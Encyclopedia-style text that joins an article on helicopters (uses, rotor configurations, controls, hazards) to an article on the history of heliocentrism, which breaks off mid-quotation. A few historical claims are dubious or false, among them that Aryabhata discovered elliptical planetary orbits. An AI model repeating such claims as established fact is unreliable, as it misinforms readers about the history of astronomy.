          Military forces use attack helicopters to conduct aerial attacks on ground targets. Such helicopters are mounted with missile launchers and miniguns. Transport helicopters are used to ferry troops and supplies where the lack of an airstrip would make transport via fixed-wing aircraft impossible. Transport helicopters used to deliver troops as an attack force on an objective is referred to as Air Assault.


          


          Other uses


          
            	Aerial photography


            	Motion picture photography


            	Electronic news gathering


            	Search and Rescue


            	Touring or personal pleasure


            	Transport

          


          


          Rotor configurations


          Most helicopters have a single, main rotor but require a separate rotor to overcome torque. This is accomplished through a variable pitch, antitorque rotor or tail rotor. This is the design that Igor Sikorsky settled on for his VS-300 helicopter and it has become the recognized convention for helicopter design, although, designs do vary. When viewed from above, designs from Germany, United Kingdom and the United States are said to rotate counter-clockwise, all others are said to rotate clockwise. This can make it difficult when discussing aerodynamic effects on the main rotor between different designs, since the effects may manifest on opposite sides of each aircraft.


          


          Single main rotor
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          With a single main rotor helicopter, the creation of torque as the engine turns the rotor creates a torque effect which causes the body of the helicopter to turn in the opposite direction of the rotor. To eliminate this effect, some sort of antitorque control must be used, with a sufficient margin of power available to allow the helicopter to maintain its heading and provide yaw control. The three most common controls used today are the traditional tail rotor, Eurocopter's Fenestron (also called a fantail), and MD Helicopters' NOTAR.


          
            [image: Tail rotor of an SA 330 Puma]

            
              Tail rotor of an SA 330 Puma
            

          


          


          Tail rotor


          The tail rotor is a smaller rotor mounted vertically or near-vertical on the tail of a traditional single-rotor helicopter. The tail rotor either pushes or pulls against the tail to counter the torque. The tail rotor drive system consists of a drive shaft powered from the main transmission and a gearbox mounted at the end of the tail boom. The drive shaft may consist of one long shaft or a series of shorter shafts connected at both ends with flexible couplings. The flexible couplings allow the drive shaft to flex with the tail boom. The gearbox at the end of the tailboom provides an angled drive for the tail rotor and may also include gearing to adjust the output to the optimum RPM for the tail rotor. On some larger helicopters, intermediate gearboxes are used to transition the tail rotor drive shaft from along the tailboom or tailcone to the top of the tail rotor pylon which also serves as a vertical stabilizing airfoil to alleviate the power requirement for the tail rotor in forward flight. It may also serve to provide limited antitorque within certain airspeed ranges in the event that the tail rotor or the tail rotor flight controls fail.


          


          Ducted fan
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          Fenestron and FANTAIL are trademarks for a ducted fan mounted at the end of the tail boom of the helicopter and used in place of a tail rotor. Ducted fans have between 8 and 18 blades arranged with irregular spacing, so that the noise is distributed over different frequencies. The housing is integral with the aircraft skin and allows a high rotational speed, therefore a ducted fan can have a smaller size than a conventional tail rotor.


          The Fenestron was used for the first time at the end of the 1960s on the second experimental model of Sud Aviation's SA 340, and produced on the later model Aérospatiale SA 341 Gazelle. Besides Eurocopter and its predecessors, a ducted fan tail rotor was also used on the canceled military helicopter project, the United States Army's RAH-66 Comanche, as the FANTAIL.


          


          NOTAR
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          NOTAR, an acronym for NO TAil Rotor, is a relatively new helicopter anti-torque system which eliminates the use of the tail rotor on a helicopter. Although the concept took some time to refine, the NOTAR system is simple in theory and works to provide antitorque the same way a wing develops lift using the Coandă effect. A variable pitch fan is enclosed in the aft fuselage section immediately forward of the tail boom and driven by the main rotor transmission. This fan forces low pressure air through two slots on the right side of the tailboom, causing the downwash from the main rotor to hug the tailboom, producing lift, and thus a measure of antitorque proportional to the amount of airflow from the rotorwash. This is augmented by a direct jet thruster (which also provides directional yaw control) and vertical stabilizers.


          Development of the NOTAR system dates back to 1975 when engineers at Hughes Helicopters began concept development work. In December 1981 Hughes flew a OH-6A fitted with NOTAR for the first time. A more heavily modified prototype demonstrator first flew in March 1986 and successfully completed an advanced flight-test program, validating the system for future application in helicopter design. There are currently three production helicopters that utilize the NOTAR system, all produced by MD Helicopters. This antitorque design also improves safety by eliminating the opportunity for personnel to walk into the tail rotor.


          


          Tip jets


          Another single main rotor configuration without a tail rotor is the tip jet rotor, where the main rotor is not driven by the mast, but from nozzles on the tip of the rotor blade; which are either pressurized from a fuselage-mounted gas turbine or have their own turbojet, ramjet or rocket thrusters. Although this method is simple and eliminates torque, the prototypes that have been built are less fuel efficient than conventional helicopters and produce more noise. One example, the Percival P.74, was not even able to leave the ground, and the Hiller YH-32 Hornet had good lifting capability but was otherwise poor. The Fairey Jet Gyrodyne and 40-seat Fairey Rotodyne flew very well indeed. Possibly the most unusual was the rocket tipped Rotary Rocket Roton ATV. None have made it into production.


          


          Dual rotors (contra-rotating)


          Contra-rotating rotors, are rotorcraft configurations with a pair or more of large horizontal rotors turning in opposite directions to counteract the effects of torque on the aircraft without relying on an antitorque tail rotor. Primarily, there are three common configurations that utilize the contra-rotating effect to benefit the rotorcraft; tandem rotors are two rotors with one mounted behind the other, coaxial rotors are two rotors that are mounted one above the other with the same axis, and intermeshing rotors are two rotors that are mounted close to each other at enough angle to allow the rotors to intermesh over the top of the aircraft. Another configuration found on tiltrotors and some earlier helicopters is called transverse rotors where the pair of rotors is mounted at each end of a wing-type structure or outriggers.


          


          Tandem
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          Tandem rotors are two horizontal main rotor assemblies mounted one behind the other with the rear rotor mounted slightly higher than the front rotor. Tandem rotors achieve pitch attitude changes to accelerate and decelerate the helicopter through a process called differential collective pitch. To pitch forward and accelerate, the rear rotor increases collective pitch, raising the tail and the front rotor decreases collective pitch, simultaneously dipping the nose. To pitch upward while decelerating (or moving rearward), the front rotor increases collective pitch to raise the nose and the rear rotor decreases collective pitch to lower the tail. Yaw control is developed through opposing cyclic pitch in each rotor; to pivot right, the front rotor tilts right and the rear rotor tilts left, and to pivot left, the front rotor tilts left and the rear rotor tilts right.


          


          Coaxial
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          Coaxial rotors are a pair of rotors turning in opposite directions, but mounted on a mast, with the same axis of rotation, one above the other. The advantage of the coaxial rotor is that, in forward flight, the lift provided by the advancing halves of each rotor compensates for the retreating half of the other, eliminating one of the key effects of dissymmetry of lift; retreating blade stall. However, other design considerations plague coaxial rotors. There is an increased mechanical complexity of the rotor system because it requires linkages and swashplates for two rotor systems. Add that each rotor system needs to be turned in opposite directions means that the mast itself is more complex, and provisions for making pitch changes to the upper rotor system must pass through the lower rotor system.


          


          Intermeshing
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          Intermeshing rotors on a helicopter are a set of two rotors turning in opposite directions, with each rotor mast mounted on the helicopter with a slight angle to the other so that the blades intermesh without colliding. This configuration is sometimes referred to as a synchropter. Intermeshing rotors have high stability and powerful lifting capability. The arrangement was successfully used in Nazi Germany for a small anti-submarine warfare helicopter, the Flettner Fl 282 Kolibri. During the Cold War, the American company, Kaman Aircraft produced the HH-43 Huskie for the USAF firefighting and rescue missions. The latest Kaman model, the Kaman K-MAX, is a dedicated sky crane design.


          


          Transverse
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          Transverse rotors are mounted on the end of wings or outriggers, perpendicular to the body of the aircraft. Similar to tandem rotors and intermeshing rotors, the transverse rotor also utilizes differential collective pitch. But like the intermeshing rotors, the transverse rotors use the concept for changes in the roll attitude of the rotorcraft. This configuration is found on two of the first viable helicopters, the Focke-Wulf Fw 61 and the Focke-Achgelis Fa 223, as well as the world's largest helicopter ever built, the Mil Mi-12. It is also the configuration found on tiltrotors, such as Bell's XV-15 and the newer V-22 Osprey.


          


          Helicopter rotor system


          The rotor system, or more simply rotor, is the rotating part of a helicopter which generates lift. A rotor system may be mounted horizontally as main rotors are, providing lift vertically, or it may be mounted vertically, such as a tail rotor, to provide lift horizontally as thrust to counteract torque effect. In the case of tiltrotors, the rotor is mounted on a nacelle that rotates at the edge of the wing to transition the rotor from a horizontal mounted position, providing lift horizontally as thrust, to a vertical mounted position providing lift exactly as a helicopter.


          The rotor consists of a mast, hub and rotor blades. The mast is a cylindrical metal shaft which extends upwards from and is driven by the transmission. At the top of the mast is the attachment point for the rotor blades called the hub. The rotor blades are then attached to the hub by a number of different methods. Main rotor systems are classified according to how the main rotor blades are attached and move relative to the main rotor hub. There are three basic classifications: semirigid, rigid, or fully articulated, although some modern rotor systems use an engineered combination of these types.


          


          Semirigid
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          A semirigid rotor system allows for two different movements, flapping and feathering. This system is normally comprised of two blades, which are rigidly attached to the rotor hub. The hub is then attached to the rotor mast by a trunnion bearing or teetering hinge and is free to tilt with respect to the main rotor shaft. This allows the blades to see-saw or flap together. As one blade flaps down, the other flaps up. Feathering is accomplished by the feathering hinge, which changes the pitch angle of the blade. Since there is no vertical drag hinge, lead-lag forces are absorbed through blade bending.


          Helicopters with semi-rigid rotors are vulnerable to a condition known as mast bumping which can cause the rotor flap stops to shear the mast. Mast bumping is normally encountered during low-G maneuvers, so it is written into the operator's handbook to avoid any low-G conditions.


          


          Fully articulated


          In a fully articulated rotor system, each rotor blade is attached to the rotor hub through a series of hinges, which allow the blade to move independently of the others. These rotor systems usually have three or more blades. The blades are allowed to flap, feather, and lead or lag independently of each other. The horizontal hinge, called the flapping hinge, allows the blade to move up and down. This movement is called flapping and is designed to compensate for dissymmetry of lift. The flapping hinge may be located at varying distances from the rotor hub, and there may be more than one hinge. The vertical hinge, called the lead-lag or drag hinge, allows the blade to move back and forth. This movement is called lead-lag, dragging, or hunting. Dampers are usually used to prevent excess back and forth movement around the drag hinge. The purpose of the drag hinge and dampers is to compensate for the acceleration and deceleration caused by Coriolis Effect. Each blade can also be feathered, that is, rotated around its spanwise axis. Feathering the blade means changing the pitch angle of the blade. By changing the pitch angle of the blades you can control the thrust and direction of the main rotor disc.


          


          Rigid


          In a rigid rotor system, the blades, hub, and mast are rigid with respect to each other. The rigid rotor system is mechanically simpler than the fully articulated rotor system. There are no vertical or horizontal hinges so the blades cannot flap or drag, but they can be feathered. Operating loads from flapping and lead/lag forces must be absorbed by bending rather than through hinges. By flexing, the blades themselves compensate for the forces which previously required rugged hinges. The result is a rotor system that has less lag in the control response, because the rotor has much less oscillation. The rigid rotor system also negates the danger of mast bumping inherent in semi-rigid rotors.


          


          Combination


          Modern rotor systems may use the combined principles of the rotor systems mentioned above. Some rotor hubs incorporate a flexible hub, which allows for blade bending (flexing) without the need for bearings or hinges. These systems, called flextures, are usually constructed from composite material. Elastomeric bearings may also be used in place of conventional roller bearings. Elastomeric bearings are bearings constructed from a rubber type material and have limited movement that is perfectly suited for helicopter applications. Flextures and elastomeric bearings require no lubrication and, therefore, require less maintenance. They also absorb vibration, which means less fatigue and longer service life for the helicopter components.


          


          Controlling flight
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          A typical helicopter has four separate flight control inputs. These are the cyclic, the collective, the anti-torque pedals, and the throttle. The cyclic control is usually located between the pilot's legs and is commonly called the cyclic stick or just cyclic. On most helicopters, the cyclic is similar to a joystick. Although, the Robinson R22 and R44 have a unique teetering bar cyclic control system and a few helicopters have a cyclic control that descends into the cockpit from overhead.


          The control is called the cyclic because it changes the pitch of the rotor blades cyclically. The result is to tilt the rotor disk in a particular direction, resulting in the helicopter moving in that direction. If the pilot pushes the cyclic forward, the rotor disk tilts forward, and the rotor produces a thrust in the forward direction. If the pilot pushes the cyclic to the side, the rotor disk tilts to that side and produces thrust in that direction, causing the helicopter to hover sideways.


          The collective pitch control or collective is located on the left side of the pilot's seat with a settable friction control to prevent inadvertent movement. The collective changes the pitch angle of all the main rotor blades collectively (i.e. all at the same time) and independently of their position. Therefore, if a collective input is made, all the blades change equally, and the result is the helicopter increasing or decreasing in altitude.


          The anti-torque pedals are located in the same position as the rudder pedals in an airplane, and serve a similar purpose, namely to control the direction in which the nose of the aircraft is pointed. Application of the pedal in a given direction changes the pitch of the tail rotor blades, increasing or reducing the thrust produced by the tail rotor and causing the nose to yaw in the direction of the applied pedal. The pedals mechanically change the pitch of the tail rotor altering the amount of thrust produced.


          Helicopter rotors are designed to operate at a specific RPM. The throttle controls the power produced by the engine, which is connected to the rotor by a transmission. The purpose of the throttle is to maintain enough engine power to keep the rotor RPM within allowable limits in order to keep the rotor producing enough lift for flight. In single-engine helicopters, the throttle control is a motorcycle-style twist grip mounted on the collective control, while dual-engine helicopters have a power lever for each engine.


          


          Flight conditions


          There are two basic flight conditions for a helicopter; hover and forward flight.


          
            	
              
                	Hover

              

            

          


          
            	Hovering is the most challenging part of flying a helicopter. This is because a helicopter generates its own gusty air while in a hover, which acts against the fuselage and flight control surfaces. The end result is constant control inputs and corrections by the pilot to keep the helicopter where it is required to be. Despite the complexity of the task, the control inputs in a hover are simple. The cyclic is used to eliminate drift in the horizontal plane, that is to control forward and back, right and left. The collective is used to maintain altitude. The pedals are used to control nose direction or heading. It is the interaction of these controls that makes hovering so difficult, since an adjustment in any one control requires an adjustment of the other two, creating a cycle of constant correction.

          


          
            	
              
                	Forward flight

              

            

          


          
            	In forward flight a helicopter's flight controls behave more like that in a fixed-wing aircraft. Displacing the cyclic forward will cause the nose to pitch down, with a resultant increase in airspeed and loss of altitude. Aft cyclic will cause the nose to pitch up, slowing the helicopter and causing it to climb. Increasing collective (power) while maintaining a constant airspeed will induce a climb while decreasing collective will cause a descent. Coordinating these two inputs, down collective plus aft cyclic or up collective plus forward cyclic, will result in airspeed changes while maintaining a constant altitude. The pedals serve the same function in both a helicopter and an airplane, to maintain balanced flight. This is done by applying a pedal input in whichever direction is necessary to centre the ball in the turn and bank indicator.

          


          


          Limitations
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          The single most obvious limitation of the helicopter is its slow speed. There are several reasons why a helicopter cannot fly as fast as a fixed wing aircraft. When the helicopter is at rest, the outer tips of the rotor travel at a speed determined by the length of the blade and the RPM. In a moving helicopter, however, the speed of the blades relative to the air depends on the speed of the helicopter as well as on their rotational velocity. The airspeed of the advancing rotor blade is much higher than that of the helicopter itself. It is possible for this blade to exceed the speed of sound, and thus produce vastly increased drag and vibration.


          Because the advancing blade has higher airspeed than the retreating blade and generates a dissymmetry of lift, rotor blades are designed to "flap" – lift and twist in such a way that the advancing blade flaps up and develops a smaller angle of attack. Conversely, the retreating blade flaps down, develops a higher angle of attack, and generates more lift. At high speeds, the force on the rotors is such that they "flap" excessively and the retreating blade can reach too high an angle and stall. For this reason, the maximum safe forward speed of a helicopter is given a design rating called VNE, Velocity, Never Exceed.


          During the closing years of the 20th century designers began working on helicopter noise reduction. Urban communities have often expressed great dislike of noisy aircraft, and police and passenger helicopters can be unpopular. The redesigns followed the closure of some city heliports and government action to constrain flight paths in national parks and other places of natural beauty.


          Helicopters vibrate. An unadjusted helicopter can easily vibrate so much that it will shake itself apart. To reduce vibration, all helicopters have rotor adjustments for height and pitch. Most also have vibration dampers for height and pitch. Some also use mechanical feedback systems to sense and counter vibration. Usually the feedback system uses a mass as a "stable reference" and a linkage from the mass operates a flap to adjust the rotor's angle of attack to counter the vibration. Adjustment is difficult in part because measurement of the vibration is hard. The most common adjustment measurement system is to use a stroboscopic flash lamp, and observe painted markings or coloured reflectors on the underside of the rotor blades. The traditional low-tech system is to mount coloured chalk on the rotor tips, and see how they mark a linen sheet.


          


          Hazards of helicopter flight


          


          As with any moving vehicle, operation outside of safe regimes could result in loss of control, structural damage, or fatality. The following is a list of some of the potential hazards for helicopters:


          
            	Settling with power, also known as a vortex ring state, is essentially when the aircraft settles into its own downwash, unable to climb out of the condition due to the effect of the turbulent air on the aerodynamics of the rotor.


            	Retreating blade stall


            	Ground resonance (affects helicopters with rotor systems having lead-lag natural frequency less than the blade rotation frequency).


            	Low-G condition (affects two-bladed main rotor helicopters)


            	Dynamic rollover


            	Operating within the shaded area of the height-velocity diagram


            	Tail rotor failure.


            	Brownout

          


          Deadliest helicopter crashes:


          
            	Khankala attack - Mi-26 shot down over Chechnya in 2002; 127 dead.


            	1997 Israeli helicopter disaster - MH-53 crash in Israel in 1997; 73 killed.


            	1977 Israeli CH-53 crash - CH-53 crash near Yitav-in the Jordan Valley on 10 May 1977; 54 killed.
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          In astronomy, heliocentrism is the theory that the sun is at the centre of the Solar System. The word came from the Greek (ή Helios = sun and έ kentron = centre). Historically, heliocentrism is opposed to geocentrism and currently to modern geocentrism, which places the earth at the centre. (The distinction between the Solar System and the Universe was not clear until modern times, but extremely important relative to the controversy over cosmology and religion.) Although many early cosmologists such as Aristarchus speculated about the motion of the Earth around a stationary Sun, it was not until the 16th century that Copernicus presented a fully predictive mathematical model of a heliocentric system, which was later elaborated by Kepler and defended by Galileo, becoming the centre of a major dispute.


          


          Development of heliocentrism


          To anyone who stands and looks at the sky, it seems clear that the earth stays in one place while everything in the sky rises and sets or goes around once every day. Observing over a longer time, one sees more complicated movements. The Sun makes a slower circle over the course of a year; the planets have similar motions, but they sometimes turn around and move in the reverse direction for a while ( retrograde motion). As these motions became better understood, they required more and more elaborate descriptions, the most famous of which was the Ptolemaic system, formulated in the 2nd century, which, though considered incorrect today, still manages to calculate the correct positions for the planets to a moderate degree of accuracy, though Ptolemy's demand that all epicycles be not eccentric causes needless problems for the motions of Mars and especially Mercury. It is interesting to note that Ptolemy, himself, in his Almagest points out that any model for describing the motions of the planets is merely a mathematical device, and, since there is no actual way to know which is true, the simplest model that gets the right numbers should be used; however, he himself chose the epicyclic geocentric model and in his ultimate work Planetary Hypotheses treated his models as sufficiently real that the distances of moon, sun, planets and stars were determinable by treating orbits' celestial spheres as contiguous realities. This made the stars' distance less than 20 Astronomical Units  a subtraction from science since Aristarchus's heliocentric scheme had already centuries earlier necessarily placed the stars at least two orders of magnitude more distant.


          


          Philosophical discussions


          Philosophical arguments on heliocentrism involve general statements that the Sun is at the centre of the universe or that some or all of the planets revolve around the Sun, and arguments supporting these claims. These ideas can be found in a range of Sanskrit, Greek, Arabic and Latin texts. Few of these early sources, however, develop techniques to compute any observational consequences of their proposed heliocentric ideas.


          


          Ancient India


          According to theosophists, the earliest traces of a counter-intuitive idea that it is the Earth that is actually moving and the Sun that is at the centre of the solar system (hence the concept of heliocentrism) is found in several Vedic Sanskrit texts written in ancient India. Yajnavalkya (c. 9th8th century BC) believed that the Sun was "the centre of the lokas" as described in the Vedas at the time. In his astronomical text Shatapatha Brahmana, he states:


          
            
              "The sun is stationed for all time, in the middle of the day. [...] Of the sun, which is always in one and the same place, there is neither setting nor rising."

            

          


          Some interpret this to mean that the Sun is stationary, hence the Earth is moving around it, though others are less clear about the meanings of the terms. This would be elaborated in a later commentary Vishnu Purana (2.8) (c. 1st century BC).


          Yajnavalkya recognized that the Sun was much larger than the Earth, which would have influenced this early heliocentric concept. He also is said to have accurately measured the relative distances of the Sun and the Moon from the Earth as 108 times the respective diameters of these heavenly bodies, close to the modern measurements of 107.6 for the Sun and 110.6 for the Moon. He described an accurate solar calendar in the Shatapatha Brahmana. The Aitareya Brahmana (2.7) (c. 9th8th century BC) also states:


          
            
              "The Sun never sets nor rises. When people think the sun is setting, it is not so; they are mistaken. It only changes about after reaching the end of the day and makes night below and day to what is on the other side."

            

          


          


          Greco-Roman world


          In the 4th century BC, Aristotle wrote that:


          
            
              "At the centre, they [the Pythagoreans] say, is fire, and the earth is one of the stars, creating night and day by its circular motion about the centre."

            


            
              Aristotle, On the Heavens, Book Two, Chapter 13
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          The reasons for this placement were philosophic based on the classical elements rather than scientific; fire was more precious than earth in the opinion of the Pythagoreans, and for this reason the fire should be central. However, the central fire is not the Sun. The Pythagoreans believed the Sun orbited the central fire along with everything else. Aristotle dismissed this argument and advocated geocentrism. Heraclides of Pontus (4th century BC) explained the apparent daily motion of the celestial sphere through the rotation of the Earth.


          The first person to present an argument for a heliocentric system, however, was Aristarchus of Samos (c. 270 BC). Like Eratosthenes, Aristarchus calculated the size of the earth, and measured the size and distance of the Moon and Sun, in a treatise which has survived. From his estimates, he concluded that the Sun was six to seven times wider than the Earth and thus hundreds of times more voluminous. His writings on the heliocentric system are lost, but some information is known from surviving descriptions and critical commentary by his contemporaries, such as Archimedes. Some have suggested that his calculation of the relative size of the Earth and Sun led Aristarchus to conclude that it made more sense for the Earth to be moving than for the huge Sun to be moving around it. Though the original text has been lost, a reference in Archimedes' book The Sand Reckoner describes another work by Aristarchus in which he advanced an alternative hypothesis of the heliocentric model. Archimedes wrote:


          
            
              You King Gelon are aware the 'universe' is the name given by most astronomers to the sphere the center of which is the center of the Earth, while its radius is equal to the straight line between the center of the Sun and the centre of the Earth. This is the common account as you have heard from astronomers. But Aristarchus has brought out a book consisting of certain hypotheses, wherein it appears, as a consequence of the assumptions made, that the universe is many times greater than the 'universe' just mentioned. His hypotheses are that the fixed stars and the Sun remain unmoved, that the Earth revolves about the Sun on the circumference of a circle, the Sun lying in the middle of the orbit, and that the sphere of fixed stars, situated about the same center as the Sun, is so great that the circle in which he supposes the Earth to revolve bears such a proportion to the distance of the fixed stars as the centre of the sphere bears to its surface.

            

          


          Aristarchus thus believed the stars to be very far away, and saw this as the reason why there was no visible parallax, that is, an observed movement of the stars relative to each other as the Earth moved around the Sun. The stars are in fact much farther away than the distance that was generally assumed in ancient times, which is why stellar parallax is only detectable with telescopes.


          Archimedes says that Aristarchus made the stars' distance larger, suggesting that he was answering the natural objection that heliocentrism requires stellar parallactic oscillations. He apparently agreed to the point but placed the stars so distant as to make the parallactic motion invisibly minuscule. Thus heliocentrism opened the way for realization that the universe was larger than the geocentrists taught.


          It should be noted that Plutarch mentions the 'followers of Aristarchus' in passing, so it is likely that there are other astronomers in the Classical period who also espoused heliocentrism whose work is now lost to us. However, the only other astronomer from antiquity who is known by name and who is known to have supported Aristarchus' heliocentric model was Seleucus of Seleucia, a Mesopotamian astronomer who lived a century after Aristarchus.


          In Roman Carthage, Martianus Capella (5th century A.D.) expressed the opinion that the planets Venus and Mercury did not go about the Earth but instead circled the Sun. Copernicus mentioned him as an influence on his own work.


          


          Middle East
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          The Babylonian astronomer Seleucus of Seleucia (b. 190 BC) adopted the heliocentric system of Aristarchus, and according to Plutarch, may have even proved it. His proposed proof may have been related to his observations of the phenomenon of tides. Indeed Seleucus correctly theorized that tides were caused by the Moon, although he believed that the interaction was mediated by the Earth's atmosphere. He noted that the tides varied in time and strength in different parts of the world.


          In the medieval Islamic civilization, due to the scientific dominance of the Ptolemaic system in early Islamic astronomy, most Muslim astronomers accepted the geocentric model. However, several Muslim scholars had discussions on whether the Earth moved and tried to explain how this might be possible.


          Alhacen (Ibn al-Haytham) wrote a scathing critique of Ptolemy's model in his Doubts on Ptolemy (c. 1028), which some interpret to imply he was criticizing Ptolemy's geocentrism, but many agree that he was actually criticizing the details of Ptolemy's model rather than his geocentrism. Alhacen did, however, later propose the Earth's rotation on its axis in The Model of the Motions (c. 1038). In 1030, al-Biruni discussed the Indian astronomical theories of Aryabhata, Brahmagupta and Varahamihira in his Indica. Al-Biruni agreed with the Earth's rotation about its own axis, and while he was initially neutral regarding the heliocentric and geocentric models, he noted that heliocentrism was a philosophical problem, rather than a mathematical problem. Abu Said al-Sijzi, a contemporary of al-Biruni, suggested the possible movement of the Earth around the Sun, which Biruni did not reject. Qutb al-Din (b. 1236), in his The Limit of Accomplishment concerning Knowledge of the Heavens, also discussed whether heliocentrism was a possibility.
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          Medieval Europe


          Heliocentric ideas were known in Europe before Copernicus. Explorers and traders were increasingly venturing out beyond Europe and introducing the West to the Indian heliocentric traditions as detailed above (cf. the Silk Road and Muslim commentators). Scholars were also aware of the arguments of Aristarchus and Philolaus, as well as several other thinkers who had proposed (or were alleged to have proposed) heliocentric or quasi-heliocentric views, such as Hicetas, Heraclides Ponticus, and Martianus Capella.


          During the Late Middle Ages, Bishop Nicole Oresme discussed the possibility that the Earth rotated on its axis, while Cardinal Nicholas of Cusa in his Learned Ignorance asked whether there was any reason to assert that the Sun (or any other point) was the centre of the universe. In parallel to a mystical definition of God, Cusa wrote that "Thus the fabric of the world (machina mundi) will quasi have its centre everywhere and circumference nowhere."


          


          Mathematical astronomy


          In mathematical astronomy, computational models of heliocentrism involve mathematical computational systems that are tied to a heliocentric model and where positions of the planets can be computed. The first computational system explicitly tied to a heliocentric model was the Copernican model described by Copernicus, but there were earlier computational systems that may have implied some form of heliocentricity, notably Aryabhata's model, which has astronomical parameters which some have interpreted to imply a form of heliocentricity. Several Muslim astronomers also developed computational systems with astronomical parameters compatible with heliocentricity, as stated by Biruni, but the concept of heliocentrism was considered a philosophical problem rather than a mathematical problem. Their astronomical parameters, however, were later adapted in the Copernican model in a heliocentric context.


          


          Medieval India
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          Aryabhata (476550), in his magnum opus Aryabhatiya, propounded a computational system based on a planetary model in which the Earth was taken to be spinning on its axis and the periods of the planets were given with respect to the Sun. Some have interpreted this to be a heliocentric model, but this view has been disputed by others. He was also the first to discover that the light from the Moon and the planets was reflected from the Sun, and that the planets follow elliptical orbits, on which he accurately calculated many astronomical constants, such as the periods of the planets, times of the solar and lunar eclipses, and the instantaneous motion of the Moon (expressed as a differential equation). Early followers of Aryabhata's model included Varahamihira, Brahmagupta, and Bhaskara II. Arabic translations of Aryabhata's Aryabhatiya were available from the 8th century, while Latin translations were available from the 13th century, before Copernicus had written De revolutionibus orbium coelestium, so it is possible that Aryabhata's work had an influence on Copernicus' ideas.


          Nilakantha Somayaji (1444-1544), in his Aryabhatiyabhasya, a commentary on Aryabhata's Aryabhatiya, developed a computational system for a partially heliocentric planetary model, in which the planets orbit the Sun, which in turn orbits the Earth, similar to the Tychonic system later proposed by Tycho Brahe in the late 16th century. Nilakantha's system, however, was mathematically more effient than the Tychonic system, due to correctly taking into account the equation of the centre and latitudinal motion of Mercury and Venus. Most astronomers of the Kerala school of astronomy and mathematics who followed him accepted his planetary model.


          


          Middle East


          
            [image: Biruni, 11th century, suggested that if the Earth rotated on its axis this would be consistent with astronomical theory. He discussed heliocentrism but considered it a philosophical problem.]

            
              Biruni, 11th century, suggested that if the Earth rotated on its axis this would be consistent with astronomical theory. He discussed heliocentrism but considered it a philosophical problem.
            

          


          In the 2nd century BC, the Babylonian astronomer Seleucus of Seleucia is said to have proved the heliocentric theory. According to Bartel Leendert van der Waerden, Seleucus may have proved the heliocentric theory by determining the constants of a geometric model for the heliocentric theory and by developing methods to compute planetary positions using this model. He may have used trigonometric methods that were available in his time, as he was a contemporary of Hipparchus.


          In the 9th century, the Afghan astronomer Ja'far ibn Muhammad Abu Ma'shar al-Balkhi developed a planetary model which can be interpreted as a heliocentric model. This is due to his orbital revolutions of the planets being given as heliocentric revolutions rather than geocentric revolutions, and the only known planetary theory in which this occurs is in the heliocentric theory. His work on planetary theory has not survived, but his astronomical data was later recorded by al-Hashimi and Abū Rayhān al-Bīrūnī.


          Al-Biruni discussed the possibility of whether the Earth rotated about its own axis and around the Sun, but in his Masudic Canon, he set forth the principles that the Earth is at the centre of the universe and that it has no motion of its own. He was aware that if the Earth rotated on its axis and around the Sun, this would be consistent with his astronomical parameters, but he considered this a philosophical problem rather than a mathematical problem.


          Nasir al-Din al-Tusi (b. 1201) resolved significant problems in the Ptolemaic system by developing the Tusi-couple as an alternative to the physically problematic equant introduced by Ptolemy. 'Umar al-Katibi al- Qazwini (d. 1277), who also worked at the Maragheh observatory, in his Hikmat al-'Ain, wrote an argument for a heliocentric model, but later abandoned the model. Ibn al-Shatir (b. 1304) eliminated the need for an equant, proposing a system that was only approximately geocentric, rather than exactly so, having demonstrated trigonometrically that the Earth was not the exact centre of the universe. His rectification was later used in the Copernican model, along with the earlier Tusi-couple and the Urdi lemma of Mo'ayyeduddin Urdi. Their theorems played an important role in the Copernican model of heliocentrism, which was achieved by reversing the direction of the last vector connecting the Earth to the Sun. In the published version of his masterwork, Copernicus also cites the theories of Albategni, Arzachel and Averroes as influences, while the works of Alhacen and Biruni were also known in Europe at the time.


          


          Renaissance Europe
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          In the 16th century, Nicolaus Copernicus's De revolutionibus presented a full discussion of a heliocentric model of the universe in much the same way as Ptolemy's Almagest had presented his geocentric model in the 2nd century. Copernicus discussed the philosophical implications of his proposed system, elaborated it in full geometrical detail, used selected astronomical observations to derive the parameters of his model from a series of astronomical observations, and wrote astronomical tables which enabled one to compute the past and future positions of the stars and planets. In doing so, Copernicus moved heliocentrism from philosophical speculation to predictive geometrical astronomy. This theory resolved the issue of planetary retrograde motion by arguing that such motion was only perceived and apparent, rather than real: it was a parallax effect, as a car that one is passing seems to move backwards against the horizon. This issue was also resolved in the geocentric Tychonic system; the latter, however, while eliminating the major epicycles, retained as a physical reality the irregular back-and-forth motion of the planets, which Kepler characterized as a " pretzel."


          Copernicus cited Aristarchus in an early (unpublished) manuscript of De Revolutionibus (which still survives) so he was clearly aware of at least one previous proponent of the heliocentric thesis. However, in the published version he restricts himself to noting that in works by Cicero he had found an account of the theories of Hicetas and that Plutarch had provided him with an account of the Pythagoreans Heraclides Ponticus, Philolaus, and Ecphantus. These authors had proposed a moving earth, which did not, however, revolve around a central sun.


          


          Religious attitudes to heliocentrism


          Psalm 93:1, Psalm 96:10, and I Chronicles 16:30 state that "the world is firmly established, it cannot be moved." Psalm 104:5 says, "[the Lord] set the earth on its foundations; it can never be moved." Ecclesiastes 1:5 states that "the sun rises and the sun sets, and hurries back to where it rises."


          Galileo defended heliocentrism, and claimed it was not contrary to those Scripture passages. He took Augustine's position on Scripture: not to take every passage literally, particularly when the scripture in question is a book of poetry and songs, not a book of instructions or history. The writers of the Scripture wrote from the perspective of the terrestrial world, and from that vantage point the sun does rise and set. In fact, it is the earth's rotation which gives the impression of the sun in motion across the sky.


          One of the few pieces of information we have about the reception of Aristarchus's heliocentric system comes from a passage in Plutarch's dialogue, Concerning the Face which Appears in the Orb of the Moon. According to one of Plutarch's characters in the dialogue, the philosopher Cleanthes had held that Aristarchus should be charged with impiety for "moving the hearth of the world". In fact, however, Aristarchus's heliocentrism appears to have attracted little attention, religious or otherwise, until Copernicus revived and elaborated it.


          Nicolaus Copernicus published the definitive statement of his system in De Revolutionibus in 1543. Copernicus began to write it in 1506 and finished it in 1530, but did not publish it until the year of his death. Although he was in good standing with the Church and had dedicated the book to Pope Paul III, the published form contained an unsigned preface by Osiander stating that the system was a pure mathematical device and was not supposed to represent reality. Possibly because of that preface, the work of Copernicus inspired very little debate on whether it might be heretical during the next 60 years.


          There was an early suggestion among Dominicans that the teaching should be banned, but nothing came of it at the time. Some Protestants, however, voiced strong opinions during the 16th century. Martin Luther once said:


          
            
